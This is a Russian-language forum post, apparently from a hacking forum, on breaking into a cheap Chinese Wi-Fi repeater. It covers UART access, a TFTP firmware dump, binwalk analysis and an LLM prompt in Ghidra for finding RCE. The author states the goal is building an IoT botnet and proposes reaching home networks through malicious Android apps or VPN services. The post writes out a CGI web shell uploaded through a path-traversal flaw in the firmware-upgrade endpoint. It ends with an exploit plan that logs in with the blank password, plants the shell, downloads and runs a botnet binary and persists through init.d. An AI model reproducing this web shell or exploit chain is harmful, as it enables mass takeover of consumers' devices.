Не удалось прогрузить медиа
Всех приветствую уважаемые форумчане, искал я себе какой нибудь очередной роутер под разбор и наткнулся на популярный лот - недорогой китайский wifi репитер.
Не удалось прогрузить медиа
Этот репитер на самом деле гораздо популярнее и массовее чем кажется, его популярность не ограничивается количеством продаж конкретно на этом лоте, он продается в разных корпусах и формфакторах. И зная китайских производителей таких устройств, и какие там дырявые прошивки - стало интересно ее поковырять и поискать уязвимости, ведь устройство очень популярное, постоянно работает от сети, а безопасность гораздо ниже чем у роутеров TP-LINK, Asus и т.п. То есть у нас нарисовывается потенциальное пополнение в iot ботнет.
Вы заранее спросите: ну вот нашел ты уязвимость, написал эксплоит, а как его массово использовать если большинство этих репитеров находиться дома у людей в локальной сети? - Есть несколько способов, например можно заливать apk в play market, встроив в них sdk на реверс прокси или скрипт для автоэксплуатации. Андроид не запрещает приложениям при запуске доступ к локальной сети, если у приложения есть разрешение INTERNET в манифесте <uses-permission android:name="android.permission.INTERNET"/> ,apk может постучаться например на 192.168.0.10 и отправить любой траффик - попробовать залогиниться в админку, постучаться запросами на cgi эндпоинты и т.д. Можно даже запустить свою рекламную партнерку якобы фокусирующуюся на мобильной рекламе, сборе рекламных идентификаторах и телеметрии и пплатить деньги разрабам мобильных аппок за то чтобы подключали вашу sdk в коде своей аппки.
Можно так же использовать уже существующий ботнет или впн сервис (когда юзер подключается по впн сервер так же по сути имеет туннель в его локальную сеть). Вообщем вариантов массово получить доступ в локальные сети много
Не удалось прогрузить медиа
Сам репитер выглядит обычно, без каких то принтов конкретной модели или производителя, на заднем стикере только мак адрес, серийник который ни о чем не говорит и айпи адрес веб панели для настройки
Не удалось прогрузить медиа
Откручиваем единственный винт корпуса - нас встречает блок питания (желтая плата) и основная зеленая плата
Не удалось прогрузить медиа
На скрине видно маркировку на чипе QCA9535 - это Qualcomm Atheros QCA9535. Остальные строки (0VV, PE628M7C, E062800) - это заводские коды партии и ревизии, на них пока внимания не обращаем
Официального публичного даташита на QCA9535 в открытом доступе нету (Qualcomm их не раздаёт свободно). Но чип близок к QCA9531, на который даташит есть: https://www.javanelec.com/stfiles/getappdocument/1/true/50d4fca6-ecfc-4161-86a6-26d073ec62d6.pdf
Не удалось прогрузить медиа
На плате видны 3 неизвестных пина, прозваниваем крайний пин подключенный к массе и минус питания (или с металлическим корпусом портов RJ-45). Он прозванивается, теперь подключаем питание и замеряем напряжение на среднем пине - там 3.3 вольта, а это значит что 99% это непромаркированный uart порт для дебага и отладки на производстве
Не удалось прогрузить медиа
Для работы с uart нам понадобится любой usb-uart адаптер, на тех же маркетплейсах или али они стоят 5-10$, берите самые популярные на базе чипов ch340, cp2102 или ft232, с ними меньше всего проблем
Подпаиваемся к пинам uart порта по такой схеме:
TXD платы - RXD адаптера
RXD платы - TXD адаптера
GND платы - GND адаптера
Почему так? Потому что TX (Transmit) - это линия, по которой устройство передает данные, а RX (Receive) - линия, по которой устройство принимает их. Поэтому соединения должны быть перекрестными
VCC пины никуда не подключаем, они нужны если устройство не имеет собственного питания
Не удалось прогрузить медиа
Не удалось прогрузить медиа
В даташите указано что QCA9535 и QCA9531 используют 3.3v для tx и rx (приема и передачи данных). Переводим джампер (переключатель) на юсб-юарт конвертере на 3.3v, чтобы не спалить контроллер.
Не удалось прогрузить медиа
Втыкаем usb-uart конвертер в пк, подключаем блок питания репитера и аккуратно включаем в розетку (контакты платы в открытом корпусе не трогаем, ударит током)
Далее нам нужен клиент serial порта, самые популярные это putty и minicom, но я буду использовать mobaxterm так как у него удобный ui
В mobaxterm кликаем session, далее выбираем Serial (последовательный порт). Выбираем наш Serial port (mobaxterm сам увидит и покажет доступные), Speed (bps) устанавливаем 115200 бод - для устройств на базе SoC atheros и qualcomm стандартная скорость порта (Baud Rate) в 99% случаев составляет 115200
Открываем Advanced Serial Settings и выставляем такие настройки:
Serial engine - выбираем putty
Data bits: 8
Stop bits: 1
Parity: None
Flow control: None
Не удалось прогрузить медиа
Это соответствует формату 115200 8N1 из документации
Нажимаем ОК и только после этого включаем питание репитера, и нас встречает терминал с баннером u boot. Наша цель - не дать загрузиться ядру linux, а остановить процесс на этапе инициализации загрузчика u boot, поэтому сразу спамим ctrl+c
Не удалось прогрузить медиа
После этого в терминале наш ввод ждет стрелочка =>, значит мы остались в u boot, пробуем ввести команду help и загрузчик покажет доступные функции, при небольшом весе загрузчика там их огромный список
Не удалось прогрузить медиа
Теперь у нас есть консольный доступ к железу на самом низком уровне. Поскольку нам нужно проанализировать прошивку, ее нужно сдампить. Чип SPI Flash отображается в адресное пространство памяти процессора, чаще всего начиная с адреса 0x9f000000.
Как вытащить дамп прошивки? Есть два пути:
1) Через TFTP и ethernet кабель. в u boot инициализирован сетевой стек, можно поднять на своем пк TFTP сервер, подключить ethernet кабель в LAN порт репитера и выполнить копирование памяти в файл по сети. Нам он подходит так как единственный сетевой интерфейс, который u boot умеет инициализировать - это встроенный проводной коммутатор (ethernet/LAN порт)
2) Через UART терминал, теоретически мы можем вывести содержимое памяти прямо в консоль командой md.b (memory display byte) и написать скрипт чтобы считывать этот вывод и сохранять в файл. Тоесть мы заставляем устройство напечатать всё содержимое своей Flash-памяти в виде текста в консоль, записываем этот текст в лог, а затем очищаем этот лог от лишней информации и превращаем обратно в бинарный файл.
Но это долгий и костыльный способ, поэтому раз у нас есть lan порт будем через tftp
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Чтобы получить дамп прошивки через tftp - сначала нужно скачать tftp сервер, я буду использовать tftpd64 https://pjo2.github.io/tftpd64/
Открываем сервер на пк и подключаем репитер к пк через ethernet кабель, в интерфейсах появится новое устройство. Я зашел в веб админку репитера чтобы сравнить ip и убедиться что это оно, у репитера ip 192.168.0.105, а на lan порту 192.168.0.106 - это потому что репитер использует два интерфейса, один для подключения к источнику wifi, а другой для передачи сигнала дальше
Не удалось прогрузить медиа
В tftpd64 выбираем директорию куда сохраниться прошивка, в u boot указываем айпи сервера и клиента в локалке, у меня это
=> setenv ipaddr 192.168.0.106 (айпи репитера)=> setenv serverip 192.168.0.2 (айпи пк)Не удалось прогрузить медиа
Далее формируем команду для считывания с микросхемы статичного файла прошивки и отправки на сервер
tftpput 0x81000000 0x800000 firmware.binгде 0x81000000 это адрес откуда начинаются статичные байты прошивки репитера
Для QCA9535 еще может быть 0x80060000 или 0x80010000
Нажимаем enter и в tftpd64 появиться анимация получения файла, а в uboot побегут строки.
Через 3-5 минут в папке куда указывали сохранить файлы (по умолчанию C:\Users\%USER%\AppData\Local\Temp) сохраниться firmware.bin.
Первым делом прогоняем ее через binwalk - тулза в кали для анализа embedded файлов
Извлекаем образ
binwalk -e firmware.bin --run-as=rootНе удалось прогрузить медиа
Структура на скрине это типичная схема для роутеров и репитеров:
0x00002998 LZMA (загрузчик или ядро)
0x00020200 LZMA (ядро Linux)
0x00050000 SquashFS (rootfs)
0x002A0000 JFFS2 (rw-раздел)
Предупреждения вида "Symlink points outside of the extraction directory" нормальны, просто игнорируем их. Binwalk специально заменяет символические ссылки на /dev/null, чтобы архив не мог создать ссылки вне каталога распаковки. Это защита, а не ошибка.
Ошибка "Extractor.execute failed to run external extractor 'jefferson'" в моем случае означает что Binwalk обнаружил раздел JFFS2 но не смог его извлечь потому что у меня отсутсвует утилита jefferson, пока это не важно
Сейчас уже можно исследовать файловую систему, чекаем что извлеклось
tree extracted/_full.bin.extracted -L 2Не удалось прогрузить медиа
2998 - Распакованный первый LZMA-блок (смещение 0x2998)
2998.7z - Исходный сжатый LZMA-поток
20200 - Распакованный второй LZMA-блок (смещение 0x20200)
20200.7z - Исходный LZMA-поток
50000.squashfs - Образ файловой системы SquashFS
2A0000.jffs2 - Образ раздела JFFS2 (не распакован из-за отсутствия jefferson)
squashfs-root - уже извлечённая корневая файловая система Linux
Самое интересное это файлы squashfs-root, это уже содержимое прошивки в обычном виде
Для аудита на уязвимости нас интересуют больше всего сетевые эндпоинты и функции доступные через веб интерфейс
После извлечения файловой системы следующий этап - анализ пользовательских сервисов, которые доступны через сеть. Для IoT устройств это один из самых важных этапов, потому что большинство массовых атак происходит не через физический доступ к устройству, а через уязвимые web-интерфейсы, API или сетевые демоны
Не удалось прогрузить медиа
Судя по конфигу, вебсервер слушает HTTP и HTTPS интерфейсы на всех адресах:
listen_http 0.0.0.0:80listen_https 0.0.0.0:443Корень web-приложения расположен в /www, а Lua-обработчик LuCI привязан к префиксу /cgi-bin/luci.
option home /wwwlist lua_prefix "/cgi-bin/luci=/usr/lib/lua/luci/sgi/uhttpd.lua"Это означает, что поверхность атаки в первую очередь находится в Lua-коде LuCI и обработчиках административных функций.
Утилитой strings попробуем найти захардкоженные в устройстве креды (мало ли повезет)
strings squashfs-root/usr/sbin/uhttpd | grep -i "pass\|key\|http"Не удалось прогрузить медиа
Сначала ничего интересного, проверим shadows
cat squashfs-root/etc/shadow | head -1Не удалось прогрузить медиа
И видим что root (и как позже выяснилось) вход в веб интерфейс не запаролен
Кроме читаемых скриптов в фс много бинарных файлов которые нам необходимо декомпилировать. Можем прочитать инфо любого бинаря чтобы еще раз увидеть архитектуру, запоминаем ее, эта строка можен пригодится например при анализе бинарей в ghidra
file usr/sbin/uhttpdНе удалось прогрузить медиа
Каждый HTTP-запрос на порт 80 или 443 проходит через uhttpd → Lua SGI (/usr/lib/lua/luci/sgi/uhttpd.lua) → LuCI dispatcher → контроллеры → CBI-модели → шаблоны. Вся логика веб-интерфейса написана на Lua, и именно там мы будем искать инъекции.
Выгружаем все зарегистрированные маршруты из контроллеров
grep -R "entry(" usr/lib/lua/luci/controllerНе удалось прогрузить медиа
Получаем полную карту URL-путей. Нас интересуют эндпоинты которые принимают пользовательский ввод и передают его в системные вызовы. Ключевые группы которые нам интересны (в формате эндпоинт | запрос | описание)
- /admin/status/realtime/bandwidth_status/[iface] | GET | Показывает трафик интерфейса
- /admin/status/realtime/load_status | GET | Показывает нагрузку CPU
- /admin/status/realtime/connections_status | GET | Показывает соединения
- /admin/network/diag_ping/[addr] | POST | Пингует адрес
- /admin/network/diag_traceroute/[addr] | POST | Трейсрут до адреса
- /admin/network/diag_nslookup/[addr] | POST | DNS-lookup
- /admin/system/startup | POST | Редактирует /etc/rc.local
- /admin/system/crontab | POST | Редактирует crontab
- /admin/system/flashops/sysupgrade | POST | Загрузка прошивки
- /admin/system/flashops/restore | POST | Восстановление бэкапа
- /admin/system/packages | POST | Установка пакетов opkg
Теперь ищем все места где Lua-код выполняет системные команды:
grep -R "os.execute" usr/lib/luagrep -R "io.popen" usr/lib/luagrep -R "luci.sys.exec" usr/lib/luagrep -R "fork_exec" usr/lib/luagrep -R "sys.call" usr/lib/luaНе удалось прогрузить медиа
Нашлись потенциально опасные функции (функция | что делает | опасность):
- os.execute() | Выполняет shell-команду | Критическая
- io.popen() | Выполняет команду, читает stdout | Критическая
- luci.sys.exec() | Обёртка над io.popen | Критическая
- luci.sys.call() | Обёртка над os.execute | Критическая
- fork_exec() | fork + exec, без ожидания | Критическая
- fs.writefile() | Запись в файл | Высокая (если путь/содержимое контролируется)
Методология поиска простая: ищем все места где пользовательский ввод (из URL, POST-параметров, загруженных файлов) попадает в функции исполнения команд
Из вывода grep видим ~40 точек где Lua-код дёргает shell. Но не все они эксплуатируемы - нужно проверить:
Попадает ли туда пользовательский ввод?
Есть ли санитизация (shellquote, %q, валидация)?
Ищем в директории все .lua файлы и открываем их cursor. Но не все файлы прошивки читаймые Lua скрипты.
Не удалось прогрузить медиа
Половина эндпоинтов это скомпилированные под mips бинари, чтобы увидеть их код и логику нужен декомпилятор. Я буду использовать ghidra с ии плагином GhidrAssist
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Как установить и настроить плагин вы можете найти в инструкции на гите https://github.com/symgraph/GhidrAssist
После установки переходим в Window -> GhidrAssistPlugin -> Setting -> add llm provider
Не удалось прогрузить медиа
Заполняем все поля, вставляем апи эндпоинт вашего сервиса (например https://api.openai.com/v1/models) и апи ключ
Не удалось прогрузить медиа
Нажимаем pull и плагин подтягивает инфу о доступных моделях. У меня доступны модели всех провайдеров потому что я использую сервис агрегатор api, вам советую claude fable 5 или gpt 5.6 sol так как они самые сильные в реверсе
Не удалось прогрузить медиа
Нажимаем Ok, переходим в окно с чатом и составляем промпт
Code:
You are a senior embedded firmware reverse engineer and vulnerability researcher.
Your ONLY goal is to determine whether this binary can lead to Remote Code Execution (RCE) through the firmware update mechanism.
Ignore all unrelated functionality.
Assume the attacker is an authenticated user of the web interface who can upload an arbitrary firmware image.
Build the complete execution chain:
HTTP request
↓
upload handler
↓
temporary file
↓
firmware parser
↓
validation
↓
flash/update logic
For every stage answer:
1. Which function receives control?
2. Which arguments are attacker-controlled?
3. How does the uploaded firmware influence execution?
Perform taint analysis beginning from:
- uploaded firmware bytes
- uploaded filename
- multipart/form-data fields
- CGI parameters
- HTTP headers
Propagate taint until execution reaches:
- system()
- popen()
- exec*
- shell scripts
- mtd
- flashcp
- nandwrite
- ubiupdatevol
- ubiformat
- busybox
- any privileged operation
For every sink determine whether attacker-controlled data reaches it.
Look specifically for:
- command injection
- shell injection
- argument injection
- path traversal
- symlink attacks
- arbitrary file overwrite
- TOCTOU
- unsafe temporary files
- stack/heap overflows while parsing firmware
- integer overflows
- out-of-bounds reads/writes
- unsafe memcpy/strcpy/sprintf usage
- unchecked length fields
- malformed archive parsing
- malformed header parsing
- malformed partition table parsing
Analyze firmware verification.
Determine exactly:
- where verification starts
- every check that is performed
- checksum verification
- signature verification
- hardware model verification
- version verification
- magic checks
Then determine:
Can any check be bypassed?
Look for:
- debug mode
- test mode
- hidden flags
- alternative code paths
- ignored return values
- verification failures that still continue execution
- logic errors
- race conditions
Rename functions as their purpose becomes clear.
Produce a call graph only for the firmware update path.
For every potentially exploitable issue report:
- function
- address
- why it is vulnerable
- attacker-controlled input
- required conditions
- impact
- exploitability (Low/Medium/High)
- confidence
Do not report theoretical issues.
Only report findings that are reachable from the firmware upload entry point.
The final objective is to answer one question:
"Can an attacker achieve code execution via the firmware update process before or during flashing? If yes, explain the complete exploitation path."
Нажимаем send и ждем 5-10 минут, пока модель рассуждает, вызывает инструменты и изучает декомпилированную логику. В курсоре для сканирования lua скриптов юзаем похожий промпт. Как я уже писал нас интересует функционал в который попадает пользовательский ввод и там слабая санитизация, после того как такие места найдены можно будет уже смотреть дальше. Если банирь не принимает или не участвует в обработке данных от юзера то просто скипаем его и переходим к следующему файлу
Я проверил примерно более 50 эндпоинтов и файлов, и самым уязвимым выглядит функция обновления прошивки.
Не удалось прогрузить медиа
Она организована через Lua-контроллер
/usr/lib/lua/luci/controller/admin/system.lua который в итоге запускает системную утилитуЗдесь находится функция
function action_sysupgrade() которая принимает файл из веб-формы и сохраняет его по пути /tmp/firmware ,проверяет совместимость функицей image_supported() и затем запускаетНе удалось прогрузить медиа
Не удалось прогрузить медиа
Сначала я обратил внимаение на то что репитер вообще не проверяет никакие подписи прошивки, и зная стандартные логин и пароль от веб морды можно было бы сохранить старые настройки репитера, залить свою вредоносную прошивку и восстановить настройки - все бы вместе заняло примерно минуту и юзер бы врят ли что то заметил. fwtool проверяет только наличие блока метаданных (JSON: список поддерживаемых устройств) и не проверяет никакой криптографической подписи. В системе присутствует утилита usign (/usr/bin/usign), но она нигде не вызывается в цепочке sysupgrade/fwtool - то есть подписи в принципе не проверяются, даже если бы метаданные были.
platform_check_image (lib/upgrade/platform.sh): для большинства плат сверяет только магические байты (magic word/magic_long) в заголовке образа - это не защита от подделки, а защита от случайной прошивки образа для другой модели. Подделать эти байты в специально сконструированном .bin-файле тривиально: это просто константа в заголовке.
Но затем нашел еще кое что - слабую валидацию имени файла. Репитер ожидает файл прошивки через post запрос к эндпоинту /cgi-bin/upgrade и берет filename оттуда.
Не удалось прогрузить медиа
Здесь http://setup.wifi.net находится в локальной сети (репитер перехватые dns запрос к этому домену и отдает свой 192.168.11.1)
Не удалось прогрузить медиа
На content type image не обращайте внимания, это я эксперементировал и репитер вообще это поле не учитывает
Но что будет если попробовать вылезти из tmp директории выше? В теории это позволяет нам залить в веб директорию свой cgi файл и обратиться к нему чтобы запустить
Веб-сервер настроен исполнять любой файл в cgi-bin/, а не только заранее зарегистрированные (многие embedded httpd, включая старые boa/goahead, именно так и работают - исполняемый бит + нахождение в CGI-директории = выполнение).
(если запись в веб директорию не сработает можно попробовать перезаписать стартап скрипты или бинарники которые вызываются системой)
Пишем простой cgi шелл
Bash:
#!/bin/sh
echo "Content-type: text/plain"
echo ""
/bin/sh -c "$QUERY_STRING"
Заливаем
Не удалось прогрузить медиа
Не удалось прогрузить медиа
обращаемся к нему через
get /cgi-bin/s.cgi?id=id Не удалось прогрузить медиа
та-дам, и вместо прошивки мы получаем arbitrary file write прямо на репитере
Теперь, зная про эту дыру можно определить последовательность для написания эксплоита который автоматизирует эти действия:
- обращается к 192.168.11.1 или http://setup.wifi.net и парсит <!DOCTYPE html> ответ в поиске структуры
<div class="nav-href-wrap"><a class="nav-href" target="_blank" href="">Website</a></div><div class="nav-href-wrap"><a class="nav-href" target="_blank" href="">Sina Microblog</a></div><div class="nav-href-wrap"><a class="nav-href" target="_blank" href=''>WeChat</a></div> - логиниться с пустым паролем и заливает скрипт через эндпоинт /cgi-bin/upgrade
- дергает /cgi-bin/s.cgi который выполняет шелл команды - скачивает бинарь ботнета, запускает его и закрепляется через init.d
Заключение
Вот такой получился материал, надеюсь кому то был интересен мой опыт, спасибо за внимание, всем успехов и добра
👍56
❤️18
😢14
💯16
LIMB